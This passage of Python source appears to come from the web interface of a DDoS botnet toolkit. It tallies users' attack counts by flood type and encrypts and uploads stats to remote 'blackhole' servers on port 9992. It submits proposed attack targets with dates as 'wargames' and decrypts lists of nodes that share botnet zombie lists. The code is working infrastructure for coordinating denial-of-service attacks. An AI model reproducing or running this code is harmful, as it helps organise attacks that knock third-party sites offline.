  3284. self.decrypt(grid_key, grid_spray)
  3285. if self.decryptedtext:
  3286. try:
  3287. grid_spray = int(self.decryptedtext)
  3288. except:
  3289. grid_spray = nodec_num
  3290. else:
  3291. grid_spray = nodec_num
  3292. self.decryptedtext = "" # clean decryptedtext buffer
  3293. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3294. self.decrypt(grid_key, grid_smurf)
  3295. if self.decryptedtext:
  3296. try:
  3297. grid_smurf = int(self.decryptedtext)
  3298. except:
  3299. grid_smurf = nodec_num
  3300. else:
  3301. grid_smurf = nodec_num
  3302. self.decryptedtext = "" # clean decryptedtext buffer
  3303. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3304. self.decrypt(grid_key, grid_xmas)
  3305. if self.decryptedtext:
  3306. try:
  3307. grid_xmas = int(self.decryptedtext)
  3308. except:
  3309. grid_xmas = nodec_num
  3310. else:
  3311. grid_xmas = nodec_num
  3312. self.decryptedtext = "" # clean decryptedtext buffer
  3313. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3314. self.decrypt(grid_key, grid_nuke)
  3315. if self.decryptedtext:
  3316. try:
  3317. grid_nuke = int(self.decryptedtext)
  3318. except:
  3319. grid_nuke = nodec_num
  3320. else:
  3321. grid_nuke = nodec_num
  3322. self.decryptedtext = "" # clean decryptedtext buffer
  3323. grid_contact = m[9] # contact
  3324. self.decrypt(grid_key, grid_contact)
  3325. if self.decryptedtext:
  3326. grid_contact = self.decryptedtext
  3327. else:
  3328. grid_contact = nodec_text
  3329. self.decryptedtext = "" # clean decryptedtext buffer
  3330. grid_id = m[10] # id
  3331. else: # no valid version
  3332. pass
  3333. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),str(grid_contact),str(grid_id)])
  3334. if grid_filter == "nickname":
  3335. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3336. elif grid_filter == "ranking":
  3337. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3338. elif grid_filter == "chargo":
  3339. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3340. elif grid_filter == "dorking":
  3341. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3342. elif grid_filter == "transferred":
  3343. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3344. elif grid_filter == "maxchargo":
  3345. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3346. elif grid_filter == "missions":
  3347. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3348. elif grid_filter == "attacks":
  3349. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3350. elif grid_filter == "loic":
  3351. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3352. elif grid_filter == "loris":
  3353. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  3354. elif grid_filter == "ufosyn":
  3355. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3356. elif grid_filter == "spray":
  3357. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3358. elif grid_filter == "smurf":
  3359. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3360. elif grid_filter == "xmas":
  3361. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  3362. elif grid_filter == "nuke":
  3363. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  3364. elif grid_filter == "contact":
  3365. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by contact
  3366. else:
  3367. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3368. for i in grid_items:
  3369. grid_nickname = str(i[0])
  3370. self.encrypt(grid_key, grid_nickname)
  3371. if self.encryptedtext:
  3372. grid_nickname = self.encryptedtext
  3373. self.encryptedtext = "" # clean encryptedtext buffer
  3374. grid_ranking = str(i[1])
  3375. self.encrypt(grid_key, grid_ranking)
  3376. if self.encryptedtext:
  3377. grid_ranking = self.encryptedtext
  3378. self.encryptedtext = "" # clean encryptedtext buffer
  3379. grid_totalchargo = str(i[2])
  3380. self.encrypt(grid_key, grid_totalchargo)
  3381. if self.encryptedtext:
  3382. grid_totalchargo = self.encryptedtext
  3383. self.encryptedtext = "" # clean encryptedtext buffer
  3384. grid_dorking = str(i[3])
  3385. self.encrypt(grid_key, grid_dorking)
  3386. if self.encryptedtext:
  3387. grid_dorking = self.encryptedtext
  3388. self.encryptedtext = "" # clean encryptedtext buffer
  3389. grid_transferred = str(i[4])
  3390. self.encrypt(grid_key, grid_transferred)
  3391. if self.encryptedtext:
  3392. grid_transferred = self.encryptedtext
  3393. self.encryptedtext = "" # clean encryptedtext buffer
  3394. grid_maxchargo = str(i[5])
  3395. self.encrypt(grid_key, grid_maxchargo)
  3396. if self.encryptedtext:
  3397. grid_maxchargo = self.encryptedtext
  3398. self.encryptedtext = "" # clean encryptedtext buffer
  3399. grid_missions = str(i[6])
  3400. self.encrypt(grid_key, grid_missions)
  3401. if self.encryptedtext:
  3402. grid_missions = self.encryptedtext
  3403. self.encryptedtext = "" # clean encryptedtext buffer
  3404. grid_attacks = str(i[7])
  3405. self.encrypt(grid_key, grid_attacks)
  3406. if self.encryptedtext:
  3407. grid_attacks = self.encryptedtext
  3408. self.encryptedtext = "" # clean encryptedtext buffer
  3409. grid_loic = str(i[8])
  3410. self.encrypt(grid_key, grid_loic)
  3411. if self.encryptedtext:
  3412. grid_loic = self.encryptedtext
  3413. self.encryptedtext = "" # clean encryptedtext buffer
  3414. grid_loris = str(i[9])
  3415. self.encrypt(grid_key, grid_loris)
  3416. if self.encryptedtext:
  3417. grid_loris = self.encryptedtext
  3418. self.encryptedtext = "" # clean encryptedtext buffer
  3419. grid_ufosyn = str(i[10])
  3420. self.encrypt(grid_key, grid_ufosyn)
  3421. if self.encryptedtext:
  3422. grid_ufosyn = self.encryptedtext
  3423. self.encryptedtext = "" # clean encryptedtext buffer
  3424. grid_spray = str(i[11])
  3425. self.encrypt(grid_key, grid_spray)
  3426. if self.encryptedtext:
  3427. grid_spray = self.encryptedtext
  3428. self.encryptedtext = "" # clean encryptedtext buffer
  3429. grid_smurf = str(i[12])
  3430. self.encrypt(grid_key, grid_smurf)
  3431. if self.encryptedtext:
  3432. grid_smurf = self.encryptedtext
  3433. self.encryptedtext = "" # clean encryptedtext buffer
  3434. grid_xmas = str(i[13])
  3435. self.encrypt(grid_key, grid_xmas)
  3436. if self.encryptedtext:
  3437. grid_xmas = self.encryptedtext
  3438. self.encryptedtext = "" # clean encryptedtext buffer
  3439. grid_nuke = str(i[14])
  3440. self.encrypt(grid_key, grid_nuke)
  3441. if self.encryptedtext:
  3442. grid_nuke = self.encryptedtext
  3443. self.encryptedtext = "" # clean encryptedtext buffer
  3444. grid_contact = str(i[15])
  3445. self.encrypt(grid_key, grid_contact)
  3446. if self.encryptedtext:
  3447. grid_contact = self.encryptedtext
  3448. self.encryptedtext = "" # clean encryptedtext buffer
  3449. grid_id = str(i[16]) # id (plain id)
  3450. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3451. f.write(l)
  3452. f.close()
  3453. except:
  3454. pass
  3455. if page == "/cmd_grid_filter_update":
  3456. if not os.path.exists('/tmp/out'):
  3457. open('/tmp/out', 'w').close()
  3458. with open('/tmp/out', 'r') as f:
  3459. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3460. if page == "/cmd_transfer_grid":
  3461. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3462. blackhole_ip = pGet["grid_source"]
  3463. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3464. try:
  3465. grid_key = pGet["grid_key"]
  3466. except:
  3467. grid_key = ""
  3468. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3469. if grid_key is not "": # stream creation + encryption + package send
  3470. try:
  3471. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3472. grid_data = json.load(grid_json_file)
  3473. grid_json_file.close()
  3474. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3475. stats_data = json.load(stats_json_file)
  3476. stats_json_file.close()
  3477. nickname = grid_data["grid_nick"].encode('utf-8')
  3478. self.encrypt(grid_key, nickname)
  3479. if self.encryptedtext:
  3480. nickname = self.encryptedtext
  3481. self.encryptedtext = "" # clean encryptedtext buffer
  3482. ranking = self.ranking
  3483. if ranking == "Rookie":
  3484. ranking = 1
  3485. elif ranking == "Mercenary":
  3486. ranking = 2
  3487. elif ranking == "Bandit":
  3488. ranking = 3
  3489. elif ranking == "UFOmmander!":
  3490. ranking = 4
  3491. elif ranking == "UFOl33t!":
  3492. ranking = 5
  3493. else:
  3494. ranking = 1
  3495. self.encrypt(grid_key, str(ranking))
  3496. if self.encryptedtext:
  3497. ranking = self.encryptedtext
  3498. self.encryptedtext = "" # clean encryptedtext buffer
  3499. chargo = self.total_botnet
  3500. self.encrypt(grid_key, str(chargo))
  3501. if self.encryptedtext:
  3502. chargo = self.encryptedtext
  3503. self.encryptedtext = "" # clean encryptedtext buffer
  3504. dorking = stats_data["scanner"]
  3505. self.encrypt(grid_key, str(dorking))
  3506. if self.encryptedtext:
  3507. dorking = self.encryptedtext
  3508. self.encryptedtext = "" # clean encryptedtext buffer
  3509. transferred = stats_data["transferred"]
  3510. self.encrypt(grid_key, str(transferred))
  3511. if self.encryptedtext:
  3512. transferred = self.encryptedtext
  3513. self.encryptedtext = "" # clean encryptedtext buffer
  3514. max_chargo = stats_data["max_chargo"]
  3515. self.encrypt(grid_key, str(max_chargo))
  3516. if self.encryptedtext:
  3517. max_chargo = self.encryptedtext
  3518. self.encryptedtext = "" # clean encryptedtext buffer
  3519. missions = stats_data["missions"]
  3520. self.encrypt(grid_key, str(missions))
  3521. if self.encryptedtext:
  3522. missions = self.encryptedtext
  3523. self.encryptedtext = "" # clean encryptedtext buffer
  3524. attacks = stats_data["completed"]
  3525. self.encrypt(grid_key, str(attacks))
  3526. if self.encryptedtext:
  3527. attacks = self.encryptedtext
  3528. self.encryptedtext = "" # clean encryptedtext buffer
  3529. loic = stats_data["loic"]
  3530. self.encrypt(grid_key, str(loic))
  3531. if self.encryptedtext:
  3532. loic = self.encryptedtext
  3533. self.encryptedtext = "" # clean encryptedtext buffer
  3534. loris = stats_data["loris"]
  3535. self.encrypt(grid_key, str(loris))
  3536. if self.encryptedtext:
  3537. loris = self.encryptedtext
  3538. self.encryptedtext = "" # clean encryptedtext buffer
  3539. ufosyn = stats_data["ufosyn"]
  3540. self.encrypt(grid_key, str(ufosyn))
  3541. if self.encryptedtext:
  3542. ufosyn = self.encryptedtext
  3543. self.encryptedtext = "" # clean encryptedtext buffer
  3544. spray = stats_data["spray"]
  3545. self.encrypt(grid_key, str(spray))
  3546. if self.encryptedtext:
  3547. spray = self.encryptedtext
  3548. self.encryptedtext = "" # clean encryptedtext buffer
  3549. smurf = stats_data["smurf"]
  3550. self.encrypt(grid_key, str(smurf))
  3551. if self.encryptedtext:
  3552. smurf = self.encryptedtext
  3553. self.encryptedtext = "" # clean encryptedtext buffer
  3554. xmas = stats_data["xmas"]
  3555. self.encrypt(grid_key, str(xmas))
  3556. if self.encryptedtext:
  3557. xmas = self.encryptedtext
  3558. self.encryptedtext = "" # clean encryptedtext buffer
  3559. nuke = stats_data["nuke"]
  3560. self.encrypt(grid_key, str(nuke))
  3561. if self.encryptedtext:
  3562. nuke = self.encryptedtext
  3563. self.encryptedtext = "" # clean encryptedtext buffer
  3564. contact = grid_data["grid_contact"].encode('utf-8')
  3565. self.encrypt(grid_key, str(contact))
  3566. if self.encryptedtext:
  3567. contact = self.encryptedtext
  3568. self.encryptedtext = "" # clean encryptedtext buffer
  3569. id = grid_data["grid_token"] # plain text
  3570. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3571. try:
  3572. host = blackhole_ip
  3573. cport = 9992 # port used by mothership grider (server side script)
  3574. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3575. gs.settimeout(5.0)
  3576. gs.connect((host, cport))
  3577. gs.send(stream)
  3578. gs.close()
  3579. try: # download latest grid after submit
  3580. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  3581. f = open(self.grid_file, "w") # write updates to grid.txt
  3582. f.write(str(grid))
  3583. f.close()
  3584. except:
  3585. pass
  3586. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  3587. except:
  3588. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3589. except:
  3590. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3591. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3592. f = open("/tmp/out", "w")
  3593. f.write(grid_trans)
  3594. f.write(end_mark)
  3595. f.close()
  3596. if page == "/cmd_transfer_grid_update":
  3597. if not os.path.exists('/tmp/out'):
  3598. open('/tmp/out', 'w').close()
  3599. with open('/tmp/out', 'r') as f:
  3600. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3601. if page == "/cmd_transfer_wargame":
  3602. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3603. blackhole_ip = pGet["wargames_source2"]
  3604. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3605. try:
  3606. wargames_enckey = pGet["wargames_enckey"]
  3607. except:
  3608. wargames_enckey = ""
  3609. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3610. wargames_target = pGet["wargames_target"]
  3611. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  3612. t = urlparse(str(wargames_target))
  3613. wargames_target = t.netloc
  3614. else:
  3615. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  3616. wargames_enckey = ""
  3617. if wargames_target.startswith("www."):
  3618. wargames_target = wargames_target.replace("www.","")
  3619. wargames_estimated = pGet["wargames_estimated"]
  3620. try:
  3621. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3622. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3623. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  3624. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  3625. wargames_enckey = ""
  3626. except:
  3627. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  3628. wargames_enckey = ""
  3629. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3630. if wargames_enckey is not "": # stream creation + encryption + package send
  3631. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3632. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3633. try:
  3634. self.encrypt(wargames_enckey, wargames_creation)
  3635. if self.encryptedtext:
  3636. wargames_creation = self.encryptedtext
  3637. self.encryptedtext = "" # clean encryptedtext buffer
  3638. self.encrypt(wargames_enckey, wargames_target)
  3639. if self.encryptedtext:
  3640. wargames_target = self.encryptedtext
  3641. self.encryptedtext = "" # clean encryptedtext buffer
  3642. self.encrypt(wargames_enckey, wargames_estimated)
  3643. if self.encryptedtext:
  3644. wargames_estimated = self.encryptedtext
  3645. self.encryptedtext = "" # clean encryptedtext buffer
  3646. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  3647. try:
  3648. host = blackhole_ip
  3649. cport = 9992 # port used by mothership grider (server side script)
  3650. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3651. gs.settimeout(5.0)
  3652. gs.connect((host, cport))
  3653. gs.send(stream)
  3654. gs.close()
  3655. try: # download latest wargames after submit
  3656. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  3657. f = open(self.wargames_file, "w") # write updates to wargames.txt
  3658. f.write(str(wargames))
  3659. f.close()
  3660. except:
  3661. pass
  3662. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  3663. except:
  3664. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  3665. except:
  3666. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  3667. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3668. f = open("/tmp/out", "w")
  3669. f.write(wargames_trans)
  3670. f.write(end_mark)
  3671. f.close()
  3672. if page == "/cmd_transfer_wargame_update":
  3673. if not os.path.exists('/tmp/out'):
  3674. open('/tmp/out', 'w').close()
  3675. with open('/tmp/out', 'r') as f:
  3676. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  3677. if page == "/cmd_sync_board":
  3678. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3679. blackhole_ip = pGet["board_source"]
  3680. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3681. try:
  3682. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3683. f = open(self.board_file, "w") # write updates to board.txt
  3684. f.write(str(board))
  3685. f.close()
  3686. self.board_text = board
  3687. except:
  3688. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3689. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3690. f = open("/tmp/out", "w")
  3691. f.write(str(board))
  3692. f.write(end_mark)
  3693. f.close()
  3694. if page == "/cmd_sync_board_update":
  3695. if not os.path.exists('/tmp/out'):
  3696. open('/tmp/out', 'w').close()
  3697. with open('/tmp/out', 'r') as f:
  3698. stream = f.read()
  3699. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3700. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  3701. if page == "/cmd_send_message_board":
  3702. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3703. blackhole_ip = pGet["board_source"]
  3704. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3705. try:
  3706. board_key = pGet["board_key"]
  3707. except:
  3708. board_key = ""
  3709. try:
  3710. board_topic = pGet["board_topic"]
  3711. except:
  3712. board_topic = ""
  3713. try:
  3714. board_message = pGet["stream_txt"]
  3715. except:
  3716. board_message = ""
  3717. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3718. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  3719. try:
  3720. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  3721. board_data = json.load(board_json_file)
  3722. board_json_file.close()
  3723. board_nickname = board_data["profile_nick"]
  3724. self.encrypt(board_key, board_nickname)
  3725. if self.encryptedtext:
  3726. board_nickname = self.encryptedtext
  3727. self.encryptedtext = "" # clean encryptedtext buffer
  3728. board_icon = board_data["profile_icon"]
  3729. board_icon = board_icon.replace("link", "") # keep just icon number
  3730. board_id = board_data["profile_token"]
  3731. self.encrypt(board_key, board_message)
  3732. if self.encryptedtext:
  3733. board_message = self.encryptedtext
  3734. self.encryptedtext = "" # clean encryptedtext buffer
  3735. if board_topic == "general":
  3736. board_topic = 1
  3737. elif board_topic == "opsec":
  3738. board_topic = 2
  3739. elif board_topic == "faq":
  3740. board_topic = 3
  3741. elif board_topic == "bugs":
  3742. board_topic = 4
  3743. elif board_topic == "media":
  3744. board_topic = 5
  3745. else:
  3746. board_topic = 1
  3747. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  3748. try:
  3749. host = blackhole_ip
  3750. cport = 9992 # port used by mothership grider (server side script)
  3751. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3752. gs.settimeout(5.0)
  3753. gs.connect((host, cport))
  3754. gs.send(stream)
  3755. gs.close()
  3756. try: # download latest board after submit
  3757. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  3758. f = open(self.board_file, "w") # write updates to board.txt
  3759. f.write(str(board))
  3760. f.close()
  3761. except:
  3762. pass
  3763. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  3764. except:
  3765. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  3766. except:
  3767. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  3768. f = open("/tmp/out", "w")
  3769. f.write(board_trans)
  3770. f.write(end_mark)
  3771. f.close()
  3772. if page == "/cmd_send_message_board_update":
  3773. if not os.path.exists('/tmp/out'):
  3774. open('/tmp/out', 'w').close()
  3775. with open('/tmp/out', 'r') as f:
  3776. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  3777. if page == "/cmd_decrypt":
  3778. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  3779. try:
  3780. news_key = pGet["news_key"]
  3781. except:
  3782. news_key = ""
  3783. try:
  3784. missions_key = pGet["missions_key"]
  3785. except:
  3786. missions_key = ""
  3787. end_mark = "\n[Info] [AI] End of decryption."
  3788. if news_key is not "": # news decryption
  3789. self.decrypted_news = []
  3790. nodec_text = "*** [This message cannot be solved with that key...]"
  3791. news_key = pGet["news_key"]
  3792. for news_text in self.list_news:
  3793. self.decrypt(news_key, news_text)
  3794. if self.decryptedtext:
  3795. self.decrypted_news.append(self.decryptedtext)
  3796. else:
  3797. self.decrypted_news.append(nodec_text)
  3798. self.decryptedtext = "" # clean decryptedtext buffer
  3799. f = open("/tmp/out", "w")
  3800. num_news = 0 # news counter
  3801. for m in self.decrypted_news:
  3802. num_news = num_news + 1
  3803. f.write("["+str(num_news)+"] " + str(m)+"\n")
  3804. f.write(end_mark)
  3805. f.close()
  3806. else:
  3807. if missions_key is not "": # missions decryption
  3808. self.decrypted_missions = []
  3809. nodec_text = "*** [This message cannot be solved with that key...]"
  3810. missions_key = pGet["missions_key"]
  3811. for missions_text in self.list_missions:
  3812. self.decrypt(missions_key, missions_text)
  3813. if self.decryptedtext:
  3814. self.decrypted_missions.append(self.decryptedtext)
  3815. else:
  3816. self.decrypted_missions.append(nodec_text)
  3817. self.decryptedtext = "" # clean decryptedtext buffer
  3818. f = open("/tmp/out", "w")
  3819. num_mission = 0 # missions counter
  3820. for m in self.decrypted_missions:
  3821. num_mission = num_mission + 1
  3822. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  3823. f.write(end_mark)
  3824. f.close()
  3825. else: # blackholes (nodes.dat) decryption + data showing
  3826. self.decrypted_blackholes = []
  3827. nodec_text = "*** [This message cannot be solved with that key...]"
  3828. blackhole_key = pGet["blackhole_key"]
  3829. for blackholes_text in self.list_blackholes:
  3830. self.decrypt(blackhole_key, blackholes_text)
  3831. if self.decryptedtext:
  3832. self.decrypted_blackholes.append(self.decryptedtext)
  3833. else:
  3834. self.decrypted_blackholes.append(nodec_text)
  3835. self.decryptedtext = "" # clean decryptedtext buffer
  3836. f = open("/tmp/out", "w")
  3837. num_blackholes = 0 # blackholes counter
  3838. for b in self.decrypted_blackholes:
  3839. num_blackholes = num_blackholes + 1
  3840. if blackhole_sep in b: # IP | Mode | Comment | Actions
  3841. s = b.rsplit(blackhole_sep, 1)[0]
  3842. ip = str(s.rsplit(blackhole_sep, 1)[0])
  3843. mode = str(s.rsplit(blackhole_sep, 1)[1])
  3844. if mode == "D": # Download only mode
  3845. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  3846. elif mode == "U": # Upload only mode
  3847. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3848. else: # Upload/Download mode
  3849. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  3850. comment = str(b.rsplit(blackhole_sep, 1)[1])
  3851. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  3852. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3853. else:
  3854. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  3855. f.write(end_mark)
  3856. f.close()
  3857. if page == "/cmd_decrypt_update":
  3858. if not os.path.exists('/tmp/out'):
  3859. open('/tmp/out', 'w').close()
  3860. with open('/tmp/out', 'r') as f:
  3861. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  3862. if page == "/news":
  3863. self.pages["/news"] = self.html_news()
  3864. if page == "/missions":
  3865. self.pages["/missions"] = self.html_missions()
  3866. if page == "/board":
  3867. self.pages["/board"] = self.html_board()
  3868. if page == "/grid":
  3869. self.pages["/grid"] = self.html_grid()
  3870. if page == "/wargames":
  3871. self.pages["/wargames"] = self.html_wargames()
  3872. if page == "/grid_profile":
  3873. if pGet=={}:
  3874. self.pages["/grid_profile"] = self.html_grid_profile()
  3875. else:
  3876. self.save_grid(pGet)
  3877. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  3878. if page == "/board_profile":
  3879. if pGet =={}:
  3880. self.pages["/board_profile"] = self.html_board_profile()
  3881. else:
  3882. self.save_profile(pGet)
  3883. self.pages["/board_profile"] = self.html_board_profile_submit()
  3884. if page == "/board_remove":
  3885. self.pages["/board_remove"] = self.html_board_remove()
  3886. if page == "/grid_remove":
  3887. self.pages["/grid_remove"] = self.html_grid_remove()
  3888. if page == "/cmd_decrypt_moderator_board":
  3889. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  3890. try:
  3891. board_key = pGet["board_key"]
  3892. except:
  3893. board_key = ""
  3894. try:
  3895. filter = pGet["filter"]
  3896. except:
  3897. filter = ""
  3898. end_mark = "\n[Info] [AI] End of decryption."
  3899. if board_key is not "": # board decryption
  3900. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  3901. f = open("/tmp/out", "w")
  3902. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  3903. f.write(str(b)+"\n")
  3904. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  3905. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  3906. if board_msg_sep in m:
  3907. m = m.split(board_msg_sep)
  3908. topic = m[0] # topic
  3909. t = m[1] # icon
  3910. n = m[2] # nick
  3911. g = m[3] # id
  3912. l = m[4] # comment
  3913. if topic == "1":
  3914. topic = "/GENERAL"
  3915. elif topic == "2":
  3916. topic = "/#OPSEC "
  3917. elif topic == "3":
  3918. topic = "/FAQ "
  3919. elif topic == "4":
  3920. topic = "/BUGS "
  3921. elif topic == "5":
  3922. topic = "/MEDIA "
  3923. else:
  3924. topic = "/BUGS[!]"
  3925. icon = "<img src='/images/crew/link"+str(t)+".png'>"
  3926. nick = str(n)
  3927. self.decrypt(board_key, nick)
  3928. if self.decryptedtext:
  3929. nick = self.decryptedtext
  3930. else:
  3931. nick = 'Anonymous' # We are legion!
  3932. self.decryptedtext = "" # clean decryptedtext buffer
  3933. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  3934. msg = str(l)
  3935. self.decrypt(board_key, msg)
  3936. if self.decryptedtext:
  3937. msg = self.decryptedtext
  3938. else:
  3939. msg = nodec_text
  3940. self.decryptedtext = "" # clean decryptedtext buffer
  3941. if filter in topic or filter == "ALL": # filter content by user selection
  3942. b = "<tr valign=top><td align=center>" + icon + "<br>"+nick+"</td><td>"
  3943. b += "<font size=+2>"+topic+"</font>"
  3944. b += "<br>by "+nick+"<br><br>"
  3945. b += str(msg) + "</td></tr>"
  3946. f.write(str(b)+"\n")
  3947. else:
  3948. pass
  3949. else: # not valid stream data
  3950. pass
  3951. b="</table>"
  3952. f.write(str(b)+"\n")
  3953. f.write(end_mark)
  3954. f.close()
  3955. if page == "/cmd_decrypt_moderator_board_update":
  3956. if not os.path.exists('/tmp/out'):
  3957. open('/tmp/out', 'w').close()
  3958. with open('/tmp/out', 'r') as f:
  3959. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  3960. if page == "/cmd_decrypt_grid":
  3961. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  3962. try:
  3963. grid_key = pGet["grid_key"]
